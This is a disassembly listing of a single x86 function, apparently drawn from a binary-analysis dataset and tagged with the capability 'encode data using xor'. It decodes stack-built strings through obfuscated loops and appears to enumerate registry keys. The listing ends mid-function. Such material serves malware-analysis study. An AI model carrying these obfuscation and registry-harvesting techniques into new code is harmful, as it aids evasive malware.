Function at 0x422f80
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x21e8
call fcn.0040c820
mov dword [esp + 0x11e8], 0xfd809e4
mov dword [esp + 0x11ec], 0x3d90dc9
mov dword [esp + 0x11f0], 0x7d101d9
mov dword [esp + 0x11f4], 0x1bcc05d0
mov dword [esp + 0x11f8], 0x1ff219f1
mov dword [esp + 0x11fc], 0x13c51dc9
mov dword [esp + 0x1200], 0x17c011d5
mov dword [esp + 0x1204], 0x1514
mov edx, 0xc2
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx + 0x1126]
mov ebx, eax
mov esi, eax
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0xfd
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0x36
mov byte [esp + edx + 0x1126], al
inc edx
cmp edx, 0xe2
jne case.default.0x422f1c
lea eax, [esp + 0x30]
lea ecx, [esp + 0x11e8]
push 0
push 0
push 0x20019
push eax
mov dword [esp + 0x14], ecx
push ecx
call fcn.00442170
add esp, 0x14
shr eax, 0x1f
jmp dword [eax*4 + 0x448660]
lea eax, [esp + 0x60]
lea ecx, [esp + 0x2c]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 0
push dword [esp + 0x50]
call fcn.004425d0
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448668]
xor eax, eax
jmp 0x424679
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x3c], 0
cmp ecx, dword [esp + 0x2c]
setb al
xor edi, edi
jmp dword [eax*4 + 0x448670]
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
xor eax, eax
cmp edi, dword [esp + 0x2c]
setb al
jmp dword [eax*4 + 0x448670]
mov esi, dword [esp + 0x60]
mov eax, esi
inc eax
lea eax, [esi + esi + 2]
jns 0x422fad
mov eax, 0xffffffff
push eax
call fcn.0040c8c0
add esp, 4
mov ebx, eax
mov dword [esp + 0x5c], esi
lea eax, [esp + 0x5c]
push eax
push ebx
push edi
push dword [esp + 0x3c]
call fcn.004422c0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448680]
lea eax, [esp + 0x44]
push dword [esp + 0x30]
push 0
push 0x20019
push eax
push ebx
call fcn.00442170
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448688]
mov eax, dword [case.0x422f1c.7]
jmp case.0x42434d.18
mov dword [esp + 0x4c], edi
mov dword [esp + 0x78], 0xd1a5cf83
mov dword [esp + 0x7c], 0xd5a0d3b5
mov dword [esp + 0x80], 0xd9a3d7a5
mov dword [esp + 0x84], 0xddbcdba9
mov dword [esp + 0x88], 0xe182dfa8
mov dword [esp + 0x8c], 0xe589e3b9
mov dword [esp + 0x90], 0xe982e78a
mov dword [esp + 0x94], 0xed93eb99
mov dword [esp + 0x98], 0xf1ceef99
mov dword [esp + 0x9c], 0xf595f3bf
mov dword [esp + 0xa0], 0xf983f781
mov dword [esp + 0xa4], 0xfd93fb9b
mov dword [esp + 0xa8], 0x190ff97
mov dword [esp + 0xac], 0x5220369
mov dword [esp + 0xb0], 0x9710751
mov dword [esp + 0xb4], 0xd7f0b6a
mov dword [esp + 0xb8], 0x117b0f77
mov dword [esp + 0xbc], 0x15751364
mov dword [esp + 0xc0], 0x194a177b
mov dword [esp + 0xc4], 0x1d681b48
mov dword [esp + 0xc8], 0x21781f6d
mov dword [esp + 0xcc], 0x254e234b
mov dword [esp + 0xd0], 0x29532743
mov dword [esp + 0xd4], 0x2d112b74
mov dword [esp + 0xd8], 0x31172f19
mov dword [esp + 0xdc], 0x35773307
mov dword [esp + 0xe0], 0x39703772
mov dword [esp + 0xe4], 0x3d0e3b08
mov dword [esp + 0xe8], 0x410b3f0f
mov dword [esp + 0xec], 0x45714373
mov dword [esp + 0xf0], 0x49224777
mov dword [esp + 0xf4], 0x4d084b7d
mov dword [esp + 0xf8], 0x51764f74
mov dword [esp + 0xfc], 0x55625313
mov dword [esp + 0x100], 0x59655764
mov dword [esp + 0x104], 0x5d6e5b68
mov dword [esp + 0x108], 0x616c5f1e
mov dword [esp + 0x10c], 0x65546323
mov dword [esp + 0x110], 0x695f6752
mov dword [esp + 0x114], 0x6d366b5e
mov word [esp + 0x118], 0x6f6c
mov dword [esp + 0x11a], 0
xor eax, eax
nop
nop
nop
movzx ecx, byte [esp + eax + 0x78]
mov edx, eax
and edx, 0x4d
mov esi, eax
xor esi, 0xcd
lea esi, [esi + edx*2]
lea edx, [ecx + ecx]
not edx
add edx, ecx
xor edx, ecx
and edx, esi
xor edx, ecx
dec dl
mov byte [esp + eax + 0x78], dl
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
or ecx, 1
and ecx, edx
mov esi, ecx
and esi, 2
mov edx, ecx
or ecx, 2
imul ecx, esi
xor esi, 2
and edx, 0xfd
imul edx, esi
xor eax, 1
add eax, ecx
add eax, edx
cmp eax, 0xa6
jb 0x4231e0
lea edi, [esp + 0x91c]
lea eax, [esp + 0x78]
mov ecx, 0x28
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea eax, [esp + 0x118]
lea edi, [esp + 0x9bc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x78], 0x79e57bb7
mov dword [esp + 0x7c], 0x7de87fdd
mov dword [esp + 0x80], 0x71e773ed
mov dword [esp + 0x84], 0x75ec77e1
mov dword [esp + 0x88], 0x69c66be0
mov dword [esp + 0x8c], 0x6df16fc1
mov dword [esp + 0x90], 0x61c663fe
mov dword [esp + 0x94], 0x65ef67f1
mov dword [esp + 0x98], 0x593a5bf1
mov dword [esp + 0x9c], 0x5dea5fea
mov dword [esp + 0xa0], 0x511753f0
mov dword [esp + 0xa4], 0x55c057db
mov dword [esp + 0xa8], 0x49d14bc2
mov dword [esp + 0xac], 0x4dda4fda
mov dword [esp + 0xb0], 0x41d943e6
mov dword [esp + 0xb4], 0x45d347d6
mov dword [esp + 0xb8], 0xb92bbbdb
mov dword [esp + 0xbc], 0xbd12bf2a
mov dword [esp + 0xc0], 0xb12db315
mov dword [esp + 0xc4], 0xb512b722
mov dword [esp + 0xc8], 0xa923ab25
mov dword [esp + 0xcc], 0xadceaf3d
mov dword [esp + 0xd0], 0xa139a31f
mov dword [esp + 0xd4], 0xa533a735
mov dword [esp + 0xd8], 0x99039b03
mov dword [esp + 0xdc], 0x9d0c9f07
mov dword [esp + 0xe0], 0x91f29305
mov dword [esp + 0xe4], 0x951d9725
mov dword [esp + 0xe8], 0x891f8b32
mov dword [esp + 0xec], 0x8d1b8f07
mov dword [esp + 0xf0], 0x81198318
mov dword [esp + 0xf4], 0x852a8713
mov dword [esp + 0xf8], 0xf96cfb34
mov dword [esp + 0xfc], 0xfd64ff69
mov dword [esp + 0x100], 0xf16ef363
mov dword [esp + 0x104], 0xf563f76b
mov dword [esp + 0x108], 0xe95beb58
mov dword [esp + 0x10c], 0xed7aef63
mov dword [esp + 0x110], 0xe173e370
mov dword [esp + 0x114], 0xe57be771
mov dword [esp + 0x118], 0xd995db48
mov dword [esp + 0x11c], 0xdd97df8d
mov dword [esp + 0x120], 0xd197d397
mov dword [esp + 0x124], 0xd56cd76a
mov dword [esp + 0x128], 0xc99ecb84
mov dword [esp + 0x12c], 0xcd9bcf9f
mov dword [esp + 0x130], 0xc195c39b
mov dword [esp + 0x134], 0xc562c797
mov dword [esp + 0x138], 0x397c3b91
mov dword [esp + 0x13c], 0x3d763f70
mov dword [esp + 0x140], 0x3162337b
mov dword [esp + 0x144], 0x35613760
mov dword [esp + 0x148], 0x297e2b64
mov dword [esp + 0x14c], 0x2d782f6e
mov dword [esp + 0x150], 0x2168236b
mov dword [esp + 0x154], 0x256f276a
mov dword [esp + 0x158], 0x19b61b6e
mov dword [esp + 0x15c], 0x1f18
mov eax, 0x4614e33f
mov ecx, 0xb9eb1cc0
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x4614e2c7]
mov esi, ecx
and esi, 0x90a3150b
mov edi, eax
and edi, 0x4614c2f4
or edi, esi
xor edi, edx
mov edx, edi
and edx, 0x44
xor edi, 0xcf
lea edx, [edi + edx*2]
inc dl
mov byte [esp + eax - 0x4614e2c7], dl
inc eax
dec ecx
cmp eax, 0x4614e427
jne 0x4234f0
lea edi, [esp + 0x9be]
lea eax, [esp + 0x78]
mov ecx, 0x39
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea eax, [esp + 0x15c]
lea edi, [esp + 0xaa2]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x78], 0x933b9125
mov dword [esp + 0x7c], 0x9f0c9d3f
mov dword [esp + 0x80], 0x9b09990f
mov dword [esp + 0x84], 0x87288513
mov dword [esp + 0x88], 0x8326811c
mov dword [esp + 0x8c], 0x8f208d3b
mov dword [esp + 0x90], 0x8b238926
mov dword [esp + 0x94], 0x77db75d7
mov dword [esp + 0x98], 0x73a371d4
mov dword [esp + 0x9c], 0x7fa87daf
mov dword [esp + 0xa0], 0x7bde79a8
mov dword [esp + 0xa4], 0x67fb65d3
mov dword [esp + 0xa8], 0x63f661fc
mov dword [esp + 0xac], 0x6ff96dfb
mov dword [esp + 0xb0], 0x6bce69c3
mov dword [esp + 0xb4], 0x57c455e4
mov dword [esp + 0xb8], 0x53fc51c7
mov dword [esp + 0xbc], 0x5fca5df5
mov dword [esp + 0xc0], 0x5bc959f5
mov dword [esp + 0xc4], 0x47f145e0
mov dword [esp + 0xc8], 0x43de41dd
mov dword [esp + 0xcc], 0x4fd94dd8
mov dword [esp + 0xd0], 0x4be149df
mov dword [esp + 0xd4], 0x37ef3590
mov dword [esp + 0xd8], 0x33ed31e3
mov dword [esp + 0xdc], 0x3ffd3de1
mov dword [esp + 0xe0], 0x3bf439f6
mov dword [esp + 0xe4], 0x27fa25f4
mov dword [esp + 0xe8], 0x23f121f1
mov dword [esp + 0xec], 0x2fff2dfd
mov dword [esp + 0xf0], 0x2b8629f9
mov dword [esp + 0xf4], 0x17d415c7
mov dword [esp + 0xf8], 0x13ca11c8
mov dword [esp + 0xfc], 0x1fce1ddd
mov dword [esp + 0x100], 0x1bcb19c8
mov dword [esp + 0x104], 0x7da05d4
mov dword [esp + 0x108], 0x3d001c2
mov dword [esp + 0x10c], 0xfd00dcd
mov dword [esp + 0x110], 0xbd509d6
mov dword [esp + 0x114], 0xf752f52a
mov word [esp + 0x118], 0xf1f0
lea eax, [esp + 0x118]
mov word [eax + 6], 0
mov dword [eax + 2], 0
mov eax, 0x78bcfbe4
nop
nop
nop
movzx ecx, byte [esp + eax - 0x78bcfb6c]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x8c
mov byte [esp + eax - 0x78bcfb6c], cl
inc eax
cmp eax, 0x78bcfc8c
jne 0x423730
mov dword [esp + 0x48], ebx
lea edi, [esp + 0x87a]
lea eax, [esp + 0x78]
mov ecx, 0x28
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea eax, [esp + 0x118]
lea edi, [esp + 0x91a]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 0x78], 0xf36bf105
mov dword [esp + 0x7c], 0xef7ced0f
mov dword [esp + 0x80], 0xeb79e97f
mov dword [esp + 0x84], 0xe778e573
mov dword [esp + 0x88], 0xe306e16c
mov dword [esp + 0x8c], 0x9f009d6b
mov dword [esp + 0x90], 0x9b039906
mov dword [esp + 0x94], 0x970b9577
mov dword [esp + 0x98], 0x93439174
mov dword [esp + 0x9c], 0x8f588d40
mov dword [esp + 0xa0], 0x8b6e8958
mov dword [esp + 0xa4], 0x870b8573
mov dword [esp + 0xa8], 0x8316810c
mov dword [esp + 0xac], 0xbf29bd2b
mov dword [esp + 0xb0], 0xbb5eb923
mov dword [esp + 0xb4], 0xb724b544
mov dword [esp + 0xb8], 0xb32cb127
mov dword [esp + 0xbc], 0xaf3aad35
mov dword [esp + 0xc0], 0xab39a935
mov dword [esp + 0xc4], 0xa751a540
mov dword [esp + 0xc8], 0xa32ea12d
mov dword [esp + 0xcc], 0x5fc95dc8
mov dword [esp + 0xd0], 0x5bc159cf
mov dword [esp + 0xd4], 0x579f55b0
mov dword [esp + 0xd8], 0x539d5183
mov dword [esp + 0xdc], 0x4f8d4d81
mov dword [esp + 0xe0], 0x4bb449b6
mov dword [esp + 0xe4], 0x478a4594
mov dword [esp + 0xe8], 0x43914191
mov dword [esp + 0xec], 0x7faf7dad
mov dword [esp + 0xf0], 0x7be679a9
mov dword [esp + 0xf4], 0x77b475a7
mov dword [esp + 0xf8], 0x73ba71b8
mov dword [esp + 0xfc], 0x6fbe6dad
mov dword [esp + 0x100], 0x6bbb69b8
mov dword [esp + 0x104], 0x67aa65b4
mov dword [esp + 0x108], 0x63b061a2
mov dword [esp + 0x10c], 0x1fd01ddd
mov dword [esp + 0x110], 0x1bd519d6
mov dword [esp + 0x114], 0x17f215da
mov word [esp + 0x118], 0x1110
lea eax, [esp + 0x118]
mov byte [eax + 4], 0
mov word [eax + 2], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x78]
mov esi, eax
and esi, 0x158
mov edi, ecx
xor edi, 0x1ae0eeac
add edi, esi
xor edi, edx
add edi, 0x799b56a3
mov edx, edi
and edx, 0x63
xor edi, 0x63
lea edx, [edi + edx*2]
add dl, 0x9e
mov byte [esp + ecx + 0x78], dl
inc ecx
add eax, 2
cmp ecx, 0xa5
jne 0x423960
lea eax, [esp + 0xb46]
lea edx, [esp + 0x78]
mov edi, eax
mov ecx, 0x28
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edx, [esp + 0x118]
mov ecx, 1
lea edi, [esp + 0xbe6]
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov dword [esp + 0x78], 0x3f973975
mov dword [esp + 0x7c], 0x23b43d9b
mov dword [esp + 0x80], 0x27b121b3
mov dword [esp + 0x84], 0x2b8025b7
mov dword [esp + 0x88], 0x2f9229bc
mov dword [esp + 0x8c], 0x13b82d9f
mov dword [esp + 0x90], 0x17bf11ba
mov dword [esp + 0x94], 0x1bbf15b3
mov dword [esp + 0x98], 0x1f4f19a4
mov dword [esp + 0x9c], 0x3501d49
mov dword [esp + 0xa0], 0x7ba0150
mov dword [esp + 0xa4], 0xb9f05b7
mov dword [esp + 0xa8], 0xfa2099c
mov dword [esp + 0xac], 0x73e10d9f
mov dword [esp + 0xb0], 0x77ca71df
mov dword [esp + 0xb4], 0x7bec75c4
mov dword [esp + 0xb8], 0x7fd479eb
mov dword [esp + 0xbc], 0x63ce7dd5
mov dword [esp + 0xc0], 0x67f161c5
mov dword [esp + 0xc4], 0x6bd965d8
mov dword [esp + 0xc8], 0x6ffa69fd
mov dword [esp + 0xcc], 0x53c16dc0
mov dword [esp + 0xd0], 0x57f951c3
mov dword [esp + 0xd4], 0x5b0355e8
mov dword [esp + 0xd8], 0x5f05590f
mov dword [esp + 0xdc], 0x43055d09
mov dword [esp + 0xe0], 0x470c410a
mov dword [esp + 0xe4], 0x4b1e4514
mov dword [esp + 0xe8], 0x4f194919
mov dword [esp + 0xec], 0xb3e34d1d
mov dword [esp + 0xf0], 0xb712b1e1
mov dword [esp + 0xf4], 0xbbfcb5e3
mov dword [esp + 0xf8], 0xbfe6b9e0
mov dword [esp + 0xfc], 0xa3f2bdfd
mov dword [esp + 0x100], 0xa7f7a1f0
mov dword [esp + 0x104], 0xabfea5f4
mov dword [esp + 0x108], 0xaff8a9ee
mov dword [esp + 0x10c], 0x93c8aded
mov dword [esp + 0x110], 0x97cd91ca
mov dword [esp + 0x114], 0x9b2695ce
mov word [esp + 0x118], 0x9998
mov dword [esp + 0x11a], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x78]
mov edi, edx
xor edi, 0x56f41f76
mov ebx, ecx
and ebx, 0x112
sub ebx, edi
xor ebx, esi
mov esi, ebx
and esi, 0x4d
xor ebx, 0x4d
lea ebx, [ebx + esi*2]
inc bl
mov byte [esp + edx + 0x78], bl
inc edx
add ecx, 2
cmp edx, 0xa6
jne 0x423ba0
lea edx, [esp + 0xaa4]
lea ebp, [esp + 0x78]
mov esi, ebp
mov edi, edx
mov ecx, 0x28
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
lea esi, [esp + 0x118]
lea edi, [esp + 0xb44]
mov ecx, 1
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
lea ecx, [esp + 0x91c]
mov dword [esp + 0x64], ecx
lea ecx, [esp + 0x9be]
mov dword [esp + 0x68], ecx
lea ecx, [esp + 0x87a]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], eax
jmp dword [0x448690]
mov dword [esp + 0x74], edx
jmp dword [0x44869c]
mov dword [esp + 0x74], edx
mov dword [esp + 0x74], edx
jmp dword [0x44869c]
xor ecx, ecx
xor eax, eax
cmp ecx, 0x14
setne al
jmp dword [eax*4 + 0x4486a0]
mov eax, dword [esp + 0x44]
mov dword [esp + 0x78], 0x7c7d7a7b
lea ecx, [esp + 0x118]
mov byte [ecx - 0x9a], 0
mov word [ecx - 0x9c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x78]
mov edx, ecx
xor edx, 0x7cb34995
mov edi, ecx
or edi, 0x834cb66a
and edx, edi
add edx, edi
xor edx, esi
lea esi, [edx + 0x6f806fed]
mov edi, esi
not edi
and esi, 1
mov ebx, 0x12
sub ebx, edx
or ebx, edi
not ebx
or ebx, 1
add ebx, esi
mov byte [esp + ecx + 0x78], bl
inc ecx
cmp ecx, 7
jne 0x423c90
mov ecx, dword [0x44da9c]
test ecx, ecx
mov ebx, dword [esp + 0x48]
je 0x424370
mov edx, dword [esp + 0x78]
xor esi, esi
mov edi, dword [0x44daa0]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x424354
inc esi
cmp ecx, esi
jne 0x423cf0
jmp 0x424370
mov ecx, dword [esp + 0x50]
add ecx, 4
xor eax, eax
cmp ecx, 0x14
setne al
jmp dword [eax*4 + 0x4486a0]
mov dword [esp + 0x50], ecx
mov eax, dword [esp + ecx + 0x64]
mov dword [esp + 0x78], 0x57264938
mov dword [esp + 0x7c], 0x53225524
mov dword [esp + 0x80], 0x5f2e5120
mov dword [esp + 0x84], 0x5b025d2c
mov word [esp + 0x88], 0x5958
mov dword [esp + 0x8a], 0
xor ecx, ecx
nop
nop
nop
nop
nop
mov edx, ecx
neg edx
lea esi, [edx + edx]
and esi, 0x24
xor edx, 0x6d
sub edx, esi
inc dl
xor dl, byte [esp + ecx + 0x78]
add dl, 0xda
mov byte [esp + ecx + 0x78], dl
mov edx, ecx
and edx, 1
and ecx, 0x1e
mov esi, ecx
xor esi, 0x1e
xor ecx, 0xfffffffe
or ecx, esi
not ecx
add ecx, edx
cmp ecx, 0x16
jb 0x423d70
movzx ecx, word [eax]
lea esi, [esp + 0xbe8]
test cx, cx
je 0x423dd1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x423dc0
mov word [esi], 0
movzx eax, word [esp + 0x78]
test ax, ax
je 0x423e01
lea ecx, [esp + 0x7a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x423df0
mov word [esi], 0
mov di, 0x31
xor eax, eax
cmp di, 0x35
setb al
mov dword [esp + 0x34], esi
jmp dword [eax*4 + 0x4486b8]
inc edi
xor eax, eax
cmp di, 0x35
setb al
jmp dword [eax*4 + 0x4486b8]
mov word [esi - 2], di
lea eax, [esp + 0x40]
lea ecx, [esp + 0xbe8]
push dword [esp + 0x44]
push 0
push 0x20019
push eax
push ecx
call fcn.00442170
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4486c0]
mov dword [esp + 0x38], edi
mov dword [esp + 0x58], 0x800
mov dword [esp + 0x28], 0x400
xor esi, esi
mov dword [esp + 8], 0
jmp 0x423e91
inc esi
lea eax, [esp + 0x28]
lea edi, [esp + 0xde8]
lea ecx, [esp + 0x54]
lea edx, [esp + 0x58]
push eax
push edi
push ecx
push edx
push ebp
push esi
push dword [esp + 0x58]
call fcn.00442910
add esp, 0x1c
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4486c8]
test byte [esp + 8], 1
sete al
mov edx, dword [esp + 0x54]
cmp edx, 1
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4486d0]
xor eax, eax
cmp edx, 3
sete al
jmp dword [eax*4 + 0x4486e0]
mov dword [esp + 0x24], edx
mov dword [esp], esi
mov dword [esp + 0xc], 0xe90feb23
mov dword [esp + 0x10], 0xed1fef0d
mov dword [esp + 0x14], 0xf100f317
mov dword [esp + 0x18], 0xf5f6f704
mov byte [esp + 0x1c], 0
lea ecx, [esp + 0xc]
mov edx, 0xa399158
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [ecx]
lea esi, [edx - 0xa399100]
and esi, eax
or eax, edx
not eax
or eax, esi
mov esi, eax
and esi, 0x3c
xor eax, 0xbc
lea eax, [eax + esi*2]
inc al
mov byte [ecx], al
inc ecx
dec edx
cmp edx, 0xa399147
jne 0x423f30
movzx esi, word [esp + 0xc]
test si, si
je 0x423fac
lea ecx, [esp + 0x78]
lea ebx, [esp + 0xc]
mov ebp, ecx
jmp 0x423f88
movzx esi, word [ebx]
test si, si
je 0x423fac
movzx eax, word [ecx]
test ax, ax
je 0x423faa
add ebx, 2
add ecx, 2
lea edx, [ebp + 2]
cmp ax, si
je 0x423fa2
mov ebp, edx
mov ecx, edx
je 0x423f80
lea ebx, [esp + 0xc]
jmp 0x423f80
xor ebp, ebp
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x4486d8]
xor eax, eax
cmp dword [esp + 0x24], 3
sete al
lea ebp, [esp + 0x78]
mov esi, dword [esp]
jmp dword [eax*4 + 0x4486e0]
mov dword [esp], esi
mov dword [esp + 0xc], 0x69cd6bd4
mov dword [esp + 0x10], 0x6dfb6ffd
mov dword [esp + 0x14], 0x51c353f5
mov dword [esp + 0x18], 0x55f257c6
mov word [esp + 0x1c], 0x5b54
lea eax, [esp + 0x1e]
mov word [eax + 4], 0
mov dword [eax], 0
xor eax, eax
nop
nop
mov ecx, eax
add cl, 0x97
xor cl, byte [esp + eax + 0xc]
add cl, 0xd
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x18
jne 0x424010
movzx esi, word [esp + 0xc]
lea eax, [esp + 0x78]
test si, si
je 0x424176
lea ecx, [esp + 0x78]
lea edx, [esp + 0xc]
mov eax, ecx
jmp 0x42405c
movzx esi, word [edx]
test si, si
je 0x424176
movzx edi, word [ecx]
test di, di
je 0x424174
add edx, 2
add ecx, 2
lea ebx, [eax + 2]
cmp di, si
je 0x42407a
mov eax, ebx
mov ecx, ebx
je 0x424050
lea edx, [esp + 0xc]
jmp 0x424050
mov eax, dword [esp + 0x28]
cmp eax, 2
mov esi, dword [esp]
jae 0x4240a5
mov ebp, dword [esp + 4]
jmp 0x424156
shr eax, 1
lea ecx, [eax - 1]
mov edx, eax
and edx, 3
je 0x4240f7
mov dword [esp + 8], ecx
xor esi, esi
lea edi, [esp + 0xde8]
mov ebp, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, word [edi]
xor ecx, ecx
test bx, bx
setne cl
lea edi, [edi + ecx*2]
mov word [ebp], bx
add ebp, 2
inc esi
cmp edx, esi
jne 0x4240d0
mov dword [esp + 4], ebp
sub eax, esi
mov esi, dword [esp]
mov ecx, dword [esp + 8]
cmp ecx, 3
mov ebp, dword [esp + 4]
jb 0x424156
movzx ecx, word [edi]
xor edx, edx
test cx, cx
setne dl
lea esi, [edi + edx*2]
mov word [ebp], cx
movzx ecx, word [edi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea edi, [esi + edx*2]
mov word [ebp + 2], cx
movzx ecx, word [esi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea esi, [edi + edx*2]
mov word [ebp + 4], cx
movzx edx, word [edi + edx*2]
xor ecx, ecx
test dx, dx
setne cl
mov word [ebp + 6], dx
add ebp, 8
lea edi, [esi + ecx*2]
add eax, 0xfffffffc
jne 0x424100
mov esi, dword [esp]
mov dword [ebp], 0x20003a
add ebp, 4
mov dword [esp + 4], ebp
mov al, 1
mov dword [esp + 8], eax
inc esi
lea ebp, [esp + 0x78]
jmp 0x423e91
xor eax, eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4486e8]
mov esi, dword [esp]
inc esi
jmp 0x423e91
mov eax, dword [esp + 0x28]
cmp eax, 2
jae 0x42419f
mov edx, dword [esp + 4]
jmp 0x424249
shr eax, 1
lea edi, [eax - 1]
mov esi, eax
lea ecx, [esp + 0xde8]
and esi, 3
mov edx, dword [esp + 4]
je 0x4241e8
mov dword [esp + 0x24], edi
xor edi, edi
nop
nop
nop
nop
movzx ebx, word [ecx]
mov ebp, edx
xor edx, edx
test bx, bx
setne dl
lea ecx, [ecx + edx*2]
mov edx, ebp
mov word [ebp], bx
add edx, 2
inc edi
cmp esi, edi
jne 0x4241c0
sub eax, edi
lea ebp, [esp + 0x78]
mov edi, dword [esp + 0x24]
cmp edi, 3
mov esi, dword [esp]
jb 0x42424c
mov ebp, edx
movzx edx, word [ecx]
xor ebx, ebx
test dx, dx
setne bl
lea esi, [ecx + ebx*2]
mov word [ebp], dx
movzx ecx, word [ecx + ebx*2]
xor edx, edx
test cx, cx
setne dl
lea edi, [esi + edx*2]
mov word [ebp + 2], cx
movzx ecx, word [esi + edx*2]
xor edx, edx
test cx, cx
setne dl
lea esi, [edi + edx*2]
mov word [ebp + 4], cx
movzx edx, word [edi + edx*2]
xor ecx, ecx
test dx, dx
setne cl
mov word [ebp + 6], dx
lea edx, [ebp + 8]
lea ecx, [esi + ecx*2]
add eax, 0xfffffffc
jne 0x4241f0
lea ebp, [esp + 0x78]
mov esi, dword [esp]
mov word [edx], 0xa
add edx, 2
mov dword [esp + 4], edx
mov al, 1
mov dword [esp + 0x3c], eax
inc esi
jmp 0x423e91
mov eax, dword [esp + 0x40]
mov dword [esp + 0xc], 0x7c7d7a7b
lea ecx, [esp + 0x1e]
mov byte [ecx - 0xc], 0
mov word [ecx - 0xe], 0
xor ecx, ecx
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0xc]
mov edx, ecx
xor edx, 0x7cb34995
mov edi, ecx
or edi, 0x834cb66a
and edx, edi
add edx, edi
xor edx, esi
lea esi, [edx + 0x6f806fed]
mov edi, esi
not edi
and esi, 1
mov ebx, 0x12
sub ebx, edx
or ebx, edi
not ebx
or ebx, 1
add ebx, esi
mov byte [esp + ecx + 0xc], bl
inc ecx
cmp ecx, 7
jne 0x424290
mov ecx, dword [0x44da9c]
test ecx, ecx
je 0x424310
mov edx, dword [esp + 0xc]
xor esi, esi
mov edi, dword [0x44daa0]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x424300
inc esi
cmp ecx, esi
jne 0x4242f0
jmp 0x424310
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne case.default.0x424322
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [esp + 0x38]
inc edi
xor eax, eax
cmp di, 0x35
setb al
mov esi, dword [esp + 0x34]
jmp dword [eax*4 + 0x4486b8]
push eax
push 1
push ecx
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
mov edi, dword [esp + 0x38]
inc edi
xor eax, eax
cmp di, 0x35
setb al
mov esi, dword [esp + 0x34]
jmp dword [eax*4 + 0x4486b8]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x424370
push eax
push 1
push ecx
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
nop
nop
mov eax, dword [case.0x422f1c.7]
mov edi, dword [esp + 0x4c]
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x448710]
push ebx
call fcn.0040c8d0
add esp, 4
mov eax, edi
and eax, 1
xor edi, 1
lea edi, [edi + eax*2]
xor eax, eax
cmp edi, dword [esp + 0x2c]
setb al
jmp dword [eax*4 + 0x448670]
mov eax, dword [esp + 4]
mov word [eax], 0
mov eax, dword [esp + 0x3c]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x448678]
movzx ebx, word [esp + 0x11e8]
xor edi, edi
test bx, bx
je 0x42442b
lea eax, [esp + 0x11ea]
mov ecx, ebx
jmp 0x4243fc
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x42442b
cmp cx, 0x7f
jbe 0x4243f0
movzx edx, cx
cmp edx, 0x7ff
ja 0x424420
add edi, 2
jmp 0x4243f1
cmp cx, 0xffff
je 0x4243f1
add edi, 3
jmp 0x4243f1
mov ebp, edi
xor ebp, 1
mov dword [esp + 8], edi
and edi, 1
lea eax, [edi*2]
add eax, ebp
push eax
